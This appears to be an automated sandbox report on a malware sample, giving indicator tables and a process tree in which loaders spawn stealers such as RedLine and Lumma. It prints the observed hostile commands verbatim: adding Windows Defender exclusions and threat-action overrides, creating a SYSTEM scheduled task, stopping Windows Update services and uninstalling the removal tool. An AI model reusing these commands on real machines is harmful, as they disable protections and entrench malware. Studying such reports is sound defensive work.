persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
2112	schtasks.exe
3728	schtasks.exe
4136	schtasks.exe
4116	schtasks.exe
3392	schtasks.exe
1648	schtasks.exe
4004	schtasks.exe
2092	schtasks.exe
316	schtasks.exe
4720	schtasks.exe
4476	schtasks.exe
3896	schtasks.exe
2936	schtasks.exe
4764	schtasks.exe
4560	schtasks.exe
4912	schtasks.exe
4024	schtasks.exe
2844	schtasks.exe
2524	schtasks.exe
1864	schtasks.exe
4000	schtasks.exe
1804	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exeexplortu.exeexplortu.exec806278209.exeaxplong.exe6fff6f14a4.exeb7d640390d.exechrome.exeredline123123.exepowershell.exepowershell.exepowershell.exepowershell.exeFirstZ.exepowershell.exereakuqnanrkn.exepowershell.exe

pid	process
1196	022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exe
2624	explortu.exe
1808	explortu.exe
500	c806278209.exe
544	axplong.exe
1816	6fff6f14a4.exe
2952	b7d640390d.exe
2668	chrome.exe
2668	chrome.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
816	redline123123.exe
4056	powershell.exe
4056	powershell.exe
4056	powershell.exe
3112	powershell.exe
2036	powershell.exe
2036	powershell.exe
2036	powershell.exe
1804	powershell.exe
2168	FirstZ.exe
1820	powershell.exe
2168	FirstZ.exe
2168	FirstZ.exe
2168	FirstZ.exe
2168	FirstZ.exe
2168	FirstZ.exe
2168	FirstZ.exe
2168	FirstZ.exe
2168	FirstZ.exe
2168	FirstZ.exe
2168	FirstZ.exe
2168	FirstZ.exe
2168	FirstZ.exe
2168	FirstZ.exe
2168	FirstZ.exe
768	reakuqnanrkn.exe
3872	powershell.exe
768	reakuqnanrkn.exe
768	reakuqnanrkn.exe
768	reakuqnanrkn.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exedrivermanager.exeredline123123.exeda_protected.exepowershell.exechromedriver.exepowershell.exeWMIC.exe

description	pid	process
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeDebugPrivilege	3524	drivermanager.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeShutdownPrivilege	2668	chrome.exe
Token: SeDebugPrivilege	816	redline123123.exe
Token: SeDebugPrivilege	1920	da_protected.exe
Token: SeDebugPrivilege	4056	powershell.exe
Token: SeDebugPrivilege	1196	chromedriver.exe
Token: SeDebugPrivilege	3112	powershell.exe
Token: SeIncreaseQuotaPrivilege	2444	WMIC.exe
Token: SeSecurityPrivilege	2444	WMIC.exe
Token: SeTakeOwnershipPrivilege	2444	WMIC.exe
Token: SeLoadDriverPrivilege	2444	WMIC.exe
Token: SeSystemProfilePrivilege	2444	WMIC.exe
Token: SeSystemtimePrivilege	2444	WMIC.exe
Token: SeProfSingleProcessPrivilege	2444	WMIC.exe
Token: SeIncBasePriorityPrivilege	2444	WMIC.exe
Token: SeCreatePagefilePrivilege	2444	WMIC.exe
Token: SeBackupPrivilege	2444	WMIC.exe
Token: SeRestorePrivilege	2444	WMIC.exe
Token: SeShutdownPrivilege	2444	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exec806278209.exeb7d640390d.exechrome.exe

pid	process
1196	022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exe
500	c806278209.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2668	chrome.exe
2668	chrome.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe

Suspicious use of SendNotifyMessage 61 IoCs

Processes:

b7d640390d.exechrome.exe

pid	process
2952	b7d640390d.exe
2952	b7d640390d.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2668	chrome.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe
2952	b7d640390d.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exeexplortu.exec806278209.exeb7d640390d.exechrome.exe

description	pid	process	target process
PID 1196 wrote to memory of 2624	1196	022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exe	explortu.exe
PID 1196 wrote to memory of 2624	1196	022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exe	explortu.exe
PID 1196 wrote to memory of 2624	1196	022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exe	explortu.exe
PID 1196 wrote to memory of 2624	1196	022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exe	explortu.exe
PID 2624 wrote to memory of 1808	2624	explortu.exe	explortu.exe
PID 2624 wrote to memory of 1808	2624	explortu.exe	explortu.exe
PID 2624 wrote to memory of 1808	2624	explortu.exe	explortu.exe
PID 2624 wrote to memory of 1808	2624	explortu.exe	explortu.exe
PID 2624 wrote to memory of 1808	2624	explortu.exe	explortu.exe
PID 2624 wrote to memory of 1808	2624	explortu.exe	explortu.exe
PID 2624 wrote to memory of 1808	2624	explortu.exe	explortu.exe
PID 2624 wrote to memory of 1808	2624	explortu.exe	explortu.exe
PID 2624 wrote to memory of 1808	2624	explortu.exe	explortu.exe
PID 2624 wrote to memory of 1808	2624	explortu.exe	explortu.exe
PID 2624 wrote to memory of 1808	2624	explortu.exe	explortu.exe
PID 2624 wrote to memory of 1808	2624	explortu.exe	explortu.exe
PID 2624 wrote to memory of 1808	2624	explortu.exe	explortu.exe
PID 2624 wrote to memory of 500	2624	explortu.exe	c806278209.exe
PID 2624 wrote to memory of 500	2624	explortu.exe	c806278209.exe
PID 2624 wrote to memory of 500	2624	explortu.exe	c806278209.exe
PID 2624 wrote to memory of 500	2624	explortu.exe	c806278209.exe
PID 500 wrote to memory of 544	500	c806278209.exe	axplong.exe
PID 500 wrote to memory of 544	500	c806278209.exe	axplong.exe
PID 500 wrote to memory of 544	500	c806278209.exe	axplong.exe
PID 500 wrote to memory of 544	500	c806278209.exe	axplong.exe
PID 2624 wrote to memory of 1816	2624	explortu.exe	6fff6f14a4.exe
PID 2624 wrote to memory of 1816	2624	explortu.exe	6fff6f14a4.exe
PID 2624 wrote to memory of 1816	2624	explortu.exe	6fff6f14a4.exe
PID 2624 wrote to memory of 1816	2624	explortu.exe	6fff6f14a4.exe
PID 2624 wrote to memory of 2952	2624	explortu.exe	b7d640390d.exe
PID 2624 wrote to memory of 2952	2624	explortu.exe	b7d640390d.exe
PID 2624 wrote to memory of 2952	2624	explortu.exe	b7d640390d.exe
PID 2624 wrote to memory of 2952	2624	explortu.exe	b7d640390d.exe
PID 2952 wrote to memory of 2668	2952	b7d640390d.exe	chrome.exe
PID 2952 wrote to memory of 2668	2952	b7d640390d.exe	chrome.exe
PID 2952 wrote to memory of 2668	2952	b7d640390d.exe	chrome.exe
PID 2952 wrote to memory of 2668	2952	b7d640390d.exe	chrome.exe
PID 2668 wrote to memory of 2432	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2432	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2432	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe
PID 2668 wrote to memory of 2912	2668	chrome.exe	chrome.exe

C:\Users\Admin\AppData\Local\Temp\022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exe
"C:\Users\Admin\AppData\Local\Temp\022a85ea47e474a7473a4618eb2549f12f3d6ebf300ffb2c7e4eed2cc91e0466.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1196

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
"C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2624

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
"C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1808

C:\Users\Admin\1000015002\c806278209.exe
"C:\Users\Admin\1000015002\c806278209.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:500

C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
"C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe"
4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:544

C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe
"C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2168

C:\Users\Admin\AppData\Local\Temp\onefile_2168_133633962551294000\stub.exe
"C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2272

C:\Users\Admin\AppData\Local\Temp\1000007001\redline123123.exe
"C:\Users\Admin\AppData\Local\Temp\1000007001\redline123123.exe"
5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:816

C:\Users\Admin\AppData\Local\Temp\1000008001\upd.exe
"C:\Users\Admin\AppData\Local\Temp\1000008001\upd.exe"
5⤵
- Executes dropped EXE
PID:1780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1780 -s 52
6⤵
- Loads dropped DLL
- Program crash
PID:1956

C:\Users\Admin\AppData\Local\Temp\1000025001\deep.exe
"C:\Users\Admin\AppData\Local\Temp\1000025001\deep.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2580

C:\Users\Admin\AppData\Local\Temp\da_protected.exe
"C:\Users\Admin\AppData\Local\Temp\da_protected.exe"
6⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:1920

C:\Users\Admin\AppData\Local\Temp\wjgbfp.exe
"C:\Users\Admin\AppData\Local\Temp\wjgbfp.exe"
7⤵
- Executes dropped EXE
- Modifies system certificate store
PID:3384

C:\Users\Admin\AppData\Local\Temp\setup.exe
setup.exe
8⤵
- Executes dropped EXE
PID:2808

C:\Users\Admin\AppData\Local\Temp\setup-3239a50225b11062\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup-3239a50225b11062\setup.exe"
9⤵
- Executes dropped EXE
PID:3708

C:\Users\Admin\AppData\Local\Temp\setup.exe
setup.exe
8⤵
- Executes dropped EXE
PID:5072

C:\Users\Admin\AppData\Local\Temp\setup-f7baa10f58c896ad\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup-f7baa10f58c896ad\setup.exe"
9⤵
- Executes dropped EXE
PID:2948

C:\Users\Admin\AppData\Local\Temp\1000035001\gold.exe
"C:\Users\Admin\AppData\Local\Temp\1000035001\gold.exe"
5⤵
- Executes dropped EXE
PID:3168

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3168 -s 84
6⤵
- Loads dropped DLL
- Program crash
PID:3208

C:\Users\Admin\AppData\Local\Temp\1000047001\lummac2.exe
"C:\Users\Admin\AppData\Local\Temp\1000047001\lummac2.exe"
5⤵
- Executes dropped EXE
PID:3272

C:\Users\Admin\AppData\Local\Temp\1000063001\drivermanager.exe
"C:\Users\Admin\AppData\Local\Temp\1000063001\drivermanager.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:3524

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
6⤵
PID:3852

C:\Users\Admin\AppData\Local\Temp\1000064001\NewLatest.exe
"C:\Users\Admin\AppData\Local\Temp\1000064001\NewLatest.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
PID:4024

C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
"C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
PID:2060

C:\Users\Admin\AppData\Local\Temp\1000003001\b2c2c1.exe
"C:\Users\Admin\AppData\Local\Temp\1000003001\b2c2c1.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
PID:3228

C:\Users\Admin\AppData\Local\Temp\e221f72865\Dctooux.exe
"C:\Users\Admin\AppData\Local\Temp\e221f72865\Dctooux.exe"
8⤵
- Executes dropped EXE
PID:1512

C:\Users\Admin\AppData\Local\Temp\1000005001\setup.exe
"C:\Users\Admin\AppData\Local\Temp\1000005001\setup.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2820

C:\Users\Admin\AppData\Local\Temp\7zS144C.tmp\Install.exe
.\Install.exe
8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2748

C:\Users\Admin\AppData\Local\Temp\7zS166E.tmp\Install.exe
.\Install.exe /wdidg "385119" /S
9⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Enumerates system info in registry
PID:4036

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
10⤵
PID:1940

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
11⤵
PID:1516

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
12⤵
PID:1092

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
13⤵
PID:1948

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
11⤵
PID:880

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
12⤵
PID:3000

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
13⤵
PID:2012

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
11⤵
PID:1496

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
12⤵
PID:2780

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
13⤵
PID:2960

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
11⤵
PID:2716

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
12⤵
PID:768

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
13⤵
PID:984

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
11⤵
PID:1504

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
12⤵
PID:1336

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
13⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4056

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
14⤵
PID:1788

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
10⤵
PID:3140

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
11⤵
PID:3164

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
12⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3112

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
13⤵
- Suspicious use of AdjustPrivilegeToken
PID:2444

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bRfJDuKmNsszhfPRJj" /SC once /ST 22:32:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF\KNGeknwcwbxZLbh\UBveBWK.exe\" oU /mQfdidqP 385119 /S" /V1 /F
10⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:2844

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "bRfJDuKmNsszhfPRJj"
10⤵
PID:2856

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4036 -s 688
10⤵
- Program crash
PID:3924

C:\Users\Admin\AppData\Local\Temp\1000006001\FirstZ.exe
"C:\Users\Admin\AppData\Local\Temp\1000006001\FirstZ.exe"
7⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2168

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
8⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1820

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
8⤵
PID:2532

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
9⤵
- Drops file in Windows directory
PID:3780

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
8⤵
- Launches sc.exe
PID:1048

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
8⤵
- Launches sc.exe
PID:2948

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
8⤵
- Launches sc.exe
PID:1636

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
8⤵
- Launches sc.exe
PID:2628

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
8⤵
- Launches sc.exe
PID:1788

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
8⤵
- Power Settings
PID:3488

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
8⤵
